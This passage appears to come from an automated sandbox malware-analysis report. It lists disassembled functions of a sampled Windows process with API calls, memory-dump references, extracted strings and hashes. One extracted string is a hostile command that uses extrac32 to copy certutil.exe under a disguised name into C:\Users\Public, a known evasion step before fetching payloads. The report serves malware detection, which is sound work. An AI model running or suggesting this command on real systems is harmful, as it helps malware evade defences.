                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Time$System$File
                                                    • String ID:
                                                    • API String ID: 2838179519-0
                                                    • Opcode ID: 62ebdb23c5db016c2826862ffbff753f6fa70ff692e943220732cd29ca21f8c9
                                                    • Instruction ID: cb98f439133809d5909251a2042ebe797f920b4380f9f37b6a520d6af36045b3
                                                    • Opcode Fuzzy Hash: 62ebdb23c5db016c2826862ffbff753f6fa70ff692e943220732cd29ca21f8c9
                                                    • Instruction Fuzzy Hash: EC113C56528681C5D7248F65E00017AB770FFACB49B149122FB8DC6774EB3CC942CB19
                                                    Function 00007FF6BF3D8510 Relevance: 1.7, APIs: 1, Instructions: 177COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD46E
                                                      • Part of subcall function 00007FF6BF3DD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD485
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD4EE
                                                      • Part of subcall function 00007FF6BF3DD3F0: iswspace.MSVCRT ref: 00007FF6BF3DD54D
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD569
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD58C
                                                    • towupper.MSVCRT ref: 00007FF6BF3D85D4
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heap$AllocProcessiswspacetowupper
                                                    • String ID:
                                                    • API String ID: 3520273530-0
                                                    • Opcode ID: 4bf984449d6576c9e1357fbba499d80d7c4b4475721f5272d0d4c1e3d8a5570f
                                                    • Instruction ID: 89956211c062ac0bbcb70a8a18a3f9a8c75134c86bb3f5084c244d85c98a5263
                                                    • Opcode Fuzzy Hash: 4bf984449d6576c9e1357fbba499d80d7c4b4475721f5272d0d4c1e3d8a5570f
                                                    • Instruction Fuzzy Hash: 6761CD32A1820682E7A59FACD50437D27A0FF15754F408136EB1EDA2E5DF3CA89083A1
                                                    Function 00007FF6BF3E898C Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: InformationQueryToken
                                                    • String ID:
                                                    • API String ID: 4239771691-0
                                                    • Opcode ID: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
                                                    • Instruction ID: fbf56ede78dd76a4872dafb4933545e9c61a77abe61d0c5da52846f4c062fd19
                                                    • Opcode Fuzzy Hash: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
                                                    • Instruction Fuzzy Hash: FFF030B3B14B81CBD7008FA4E58449CBB78FB44B84B55853ACB2843714DB75D9A5CB50
                                                    Function 00007FF6BF3E93B0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3E93BB
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ExceptionFilterUnhandled
                                                    • String ID:
                                                    • API String ID: 3192549508-0
                                                    • Opcode ID: eff4557ae00fe4591a940a5480948ed29a826f3915cdbc5be4334919315eb20c
                                                    • Instruction ID: 2fd6527b6fd62ba6e00b81f2b7f0f1ee5212388fe6ea4845c366dbaf24a816db
                                                    • Opcode Fuzzy Hash: eff4557ae00fe4591a940a5480948ed29a826f3915cdbc5be4334919315eb20c
                                                    • Instruction Fuzzy Hash: 96B01260F36402D1E608ABB5DC9107123A07F7C710FC00431C20EC4170DE5C95EBCB00
                                                    Function 00007FF6BF3DF8C0 Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 380COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,?,00007FF6BF3DF52A,00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF8DE
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF8FB
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF951
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF96B
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DFA8E
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3DFB14
                                                    • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DFB2D
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DFBEA
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3DF996
                                                      • Part of subcall function 00007FF6BF3E0010: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF6BF3F849D,?,?,?,00007FF6BF3FF0C7), ref: 00007FF6BF3E0045
                                                      • Part of subcall function 00007FF6BF3E0010: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF6BF3FF0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3E0071
                                                      • Part of subcall function 00007FF6BF3E0010: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E0092
                                                      • Part of subcall function 00007FF6BF3E0010: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3E00A7
                                                      • Part of subcall function 00007FF6BF3E0010: MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF6BF3E0181
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ED401
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ED41B
                                                    • longjmp.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ED435
                                                    • longjmp.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ED480
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CriticalSection$EnterFileLeave$LockPointerShared_get_osfhandlelongjmp$AcquireByteCharErrorLastMultiReadReleaseWidewcschr
                                                    • String ID: =,;$extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                    • API String ID: 3964947564-518410914
                                                    • Opcode ID: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
                                                    • Instruction ID: 518c0ca8fd9c3b47bf12da8a0af508aecfc4eeb030e8c560b5e5cbdd1ffd947f
                                                    • Opcode Fuzzy Hash: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
                                                    • Instruction Fuzzy Hash: 8202AE35A29602CAFB149BACE8401B87BA4FF95754F544135DB0ECA2F6DF3DA920C790
                                                    Function 00007FF6BF3E02A0 Relevance: 35.3, APIs: 13, Strings: 7, Instructions: 279COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmp$iswspacewcschr
                                                    • String ID: ;$=,;$FOR$FOR/?$IF/?$REM$REM/?
                                                    • API String ID: 840959033-3627297882
                                                    • Opcode ID: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
                                                    • Instruction ID: 3c349a3270da941fcd3737ee3aa9fe351242b623870115c84017e4659e92c34b
                                                    • Opcode Fuzzy Hash: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
                                                    • Instruction Fuzzy Hash: A5D18B31E2864386FB509BE9E8052B93BA0FF54B84F445435DB4DCA2B6DF7CE84587A0
                                                    Function 00007FF6BF3E081C Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 130COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmp$EnvironmentVariable
                                                    • String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
                                                    • API String ID: 198002717-267741548
                                                    • Opcode ID: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
                                                    • Instruction ID: 4dfad4f5ac475edd72e6dfe62d179afa7a83dc60f1e7b16acd35c06db6c5d9b4
                                                    • Opcode Fuzzy Hash: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
                                                    • Instruction Fuzzy Hash: 9D514E75A18643C6FA105FADA810279ABA0FF59B80F44A035DB0EC7776DF7CE4448790
                                                    Function 00007FF6BF3DEF40 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 465COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF000
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF031
                                                    • iswdigit.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF0D6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: iswdigitiswspacewcschr
                                                    • String ID: ()|&=,;"$=,;$Ungetting: '%s'
                                                    • API String ID: 1595556998-2755026540
                                                    • Opcode ID: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
                                                    • Instruction ID: 62db82e8d81cba0c65f14bfaf8249ba2146855178c5229b52a1ae71fac85de4b
                                                    • Opcode Fuzzy Hash: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
                                                    • Instruction Fuzzy Hash: A022CC6DE5C66381FA605BBDA48027A3BA0BF01790F449132DB8DCA2F1DF3DE5518B91
                                                    Function 00007FF6BF3DD3F0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 310memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$Processwcschr$Alloc$Sizeiswspace
                                                    • String ID: "$=,;
                                                    • API String ID: 3545743878-4143597401
                                                    • Opcode ID: 41b55f4c43934df12ec69819f95cbaf5faa5e7209c82e771a15df21cb83dbe60
                                                    • Instruction ID: d39bafadad78dc0f7b6fd2b6aa3fce4c0a8803473348dbcb96014c406940f8bf
                                                    • Opcode Fuzzy Hash: 41b55f4c43934df12ec69819f95cbaf5faa5e7209c82e771a15df21cb83dbe60
                                                    • Instruction Fuzzy Hash: C2C1B069E4965282EB255F99E0003B97BA1FF59F44F499035DF4E8B3A4EF3CA845C380
                                                    Function 00007FF6BF3F5BF4 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 153windowthreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CurrentFormatMessageThread
                                                    • String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
                                                    • API String ID: 2411632146-3173542853
                                                    • Opcode ID: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
                                                    • Instruction ID: f9eb2b9ddc28b351a84819a51b9a69485b3172f89e4b17cd698eb6c58c2251df
                                                    • Opcode Fuzzy Hash: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
                                                    • Instruction Fuzzy Hash: B961AF72A0974281EAA4DFE9A5045B977A0FF54B84F44613AEF0D8B779CF3CE5508B80
                                                    Function 00007FF6BF3E26E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 187fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CreateFile_open_osfhandle
                                                    • String ID: con
                                                    • API String ID: 2905481843-4257191772
                                                    • Opcode ID: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
                                                    • Instruction ID: f81c67f5d9d9a6bba6002d4be0acb3d16e23a00c835453f9757091e47b204226
                                                    • Opcode Fuzzy Hash: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
                                                    • Instruction Fuzzy Hash: 5A71B632A186818AE7208F6CE44067DBBA0FB8AB61F544234DB5D87BE5DF3CD855CB50
                                                    Function 00007FF6BF3F93E8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ConsoleMode$Handle$wcsrchr$CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailureiswspacewcschr
                                                    • String ID:
                                                    • API String ID: 3829876242-3916222277
                                                    • Opcode ID: a065431fe6af81354ef476bd10952e9750a3a50c047aab405a5f97467c5f577a
                                                    • Instruction ID: b70c9e7cc5757166077ba0a6815bc274729ee4b56e23c5eb295230e5b3b238d2
                                                    • Opcode Fuzzy Hash: a065431fe6af81354ef476bd10952e9750a3a50c047aab405a5f97467c5f577a
                                                    • Instruction Fuzzy Hash: FE61A436A0964286EA549F99D42057E7BA0FFC9B54F458134DF0E8B7A5DF3CE805C740
                                                    Function 00007FF6BF401A40 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 148COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
                                                    • String ID: CSVFS$NTFS$REFS
                                                    • API String ID: 3510147486-2605508654
                                                    • Opcode ID: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
                                                    • Instruction ID: 6c1a3e1fb1decb6d2e7ff04ec1b52515651563c3b8a60e741137f3790e292f2d
                                                    • Opcode Fuzzy Hash: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
                                                    • Instruction Fuzzy Hash: A4615A32608BC29AEB618F65D8447E977A4FB96B88F444035DB0E8B769DFB8D104C700
                                                    Function 00007FF6BF3D72B0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 283COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • longjmp.MSVCRT(?,00000000,00000000,00007FF6BF3D7279,?,?,?,?,?,00007FF6BF3DBFA9), ref: 00007FF6BF3F4485
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
